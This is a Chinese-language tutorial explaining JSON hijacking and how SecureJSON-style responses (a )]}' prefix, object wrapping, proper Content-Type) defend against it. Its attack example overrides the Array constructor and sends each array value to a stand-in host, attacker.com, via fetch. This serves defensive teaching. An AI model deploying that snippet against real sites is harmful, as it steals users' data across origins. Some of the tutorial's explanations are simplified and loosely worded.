SecureJSON-防范JSON劫持

一、先理解基本概念

  1. 同源策略(Same-Origin Policy)
    浏览器的一个核心安全机制,限制不同源的脚本互相访问数据。

    • “同源”定义:协议、域名、端口完全一致。
    • 作用:防止恶意网站通过脚本窃取其他网站的数据(如 Cookie、敏感信息)。
  2. JSON 劫持(JSON Hijacking)
    一种攻击手段,攻击者通过恶意脚本窃取网站返回的 JSON 数据。

    • 常见场景:JSON 数据通过 <script> 标签加载(跨域请求),且返回的是数组格式(如 [{"id": 1}])。
    • 攻击原理:利用浏览器特性(如覆盖 JavaScript 内置对象的原型方法),在数据加载时窃取内容。

二、JSON 劫持如何绕过同源策略?

虽然同源策略限制了跨域脚本直接读取响应内容,但以下方式可能被利用:

  1. <script> 标签的跨域特性
    浏览器允许通过 <script src="..."> 加载跨域脚本,但默认无法直接读取响应内容。

  2. 覆盖 JavaScript 内置对象
    攻击者可以覆盖 Array 构造函数或 Object.defineProperty,在 JSON 数据解析时触发恶意代码。

    • 示例

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      <script>
      // 恶意网站覆盖 Array 构造函数
      var originalArray = Array;
      Array = function() {
      var arr = new originalArray();
      arr.push = function(value) {
      // 窃取数据并发送到攻击者服务器
      fetch('https://attacker.com?data=' + value);
      return originalArray.prototype.push.call(this, value);
      };
      return arr;
      };
      </script>
      <!-- 加载目标网站的 JSON 数据 -->
      <script src="https://victim.com/data.json"></script>
    • 如果 data.json 返回 [{"id": 1}],浏览器会将其解析为数组,触发被覆盖的 Array 构造函数,导致数据泄露。


三、SecureJSON 如何防御 JSON 劫持?

SecureJSON 的核心思想是破坏 JSON 数据的直接解析,使其无法被攻击者利用。以下是具体手段:

1. 添加无害前缀

服务器在返回 JSON 数据前,添加一段无法被 JavaScript 直接解析的前缀。

  • 示例

    1
    2
    )]}'
    {"id": 1}
  • 作用:当浏览器通过 <script> 标签加载此数据时,前缀会导致语法错误,阻止后续脚本执行。

2. 强制非数组格式

将 JSON 数据包装为非数组形式(如对象),避免触发 Array 构造函数。

  • 示例

    1
    {"data": [{"id": 1}]}
  • 作用:攻击者需要访问 data 属性才能获取数组,而由于同源策略限制,跨域脚本无法直接读取对象的属性。

3. 结合内容类型(Content-Type)

服务器设置响应头 Content-Type: application/json,明确告知浏览器这是 JSON 数据(而非可执行的 JavaScript)。

  • 现代浏览器:会拒绝通过 <script> 标签执行非 application/javascript 类型的内容。

四、SecureJSON 防御流程

  1. 攻击者尝试通过 <script> 加载 JSON 数据

    1
    <script src="https://victim.com/data.json"></script>
  2. 服务器返回 SecureJSON 格式数据

    1
    2
    )]}'
    {"data": [{"id": 1}]}
  3. 浏览器解析失败

    • 前缀 )]}' 导致语法错误,后续数据无法执行。
    • 即使攻击者尝试覆盖内置对象,也无法触发恶意代码。
  4. 合法前端代码处理 SecureJSON

    • 前端需要手动移除前缀并解析 JSON:

      1
      2
      3
      fetch('https://victim.com/data.json')
      .then(response => response.text())
      .then(text => JSON.parse(text.replace(/^\)\]\}'/, '')));
    • 关键点:只有合法前端知道如何处理 SecureJSON 格式,攻击者无法利用自动解析机制。


五、同源策略的补充作用

  • 限制跨域数据读取:即使攻击者绕过 SecureJSON,同源策略仍会阻止恶意脚本直接读取响应内容。
  • CORS(跨域资源共享):现代浏览器通过 CORS 进一步限制跨域请求,要求服务器显式允许跨域访问。

六、总结

SecureJSON 通过以下方式防止 JSON 劫持:

  1. 破坏直接解析:添加前缀或包装数据,使恶意脚本无法自动触发解析。
  2. 依赖同源策略:结合浏览器安全机制,阻止跨域脚本读取数据。
  3. 强制合法前端处理:只有已知的前端代码能正确处理 SecureJSON 格式。

这种方法在兼容旧浏览器的同时,有效防御了 JSON 劫持攻击,是 Web 安全中一种经典的“无害化”设计思路。

参考链接

Why does Google prepend while(1); to their JSON responses?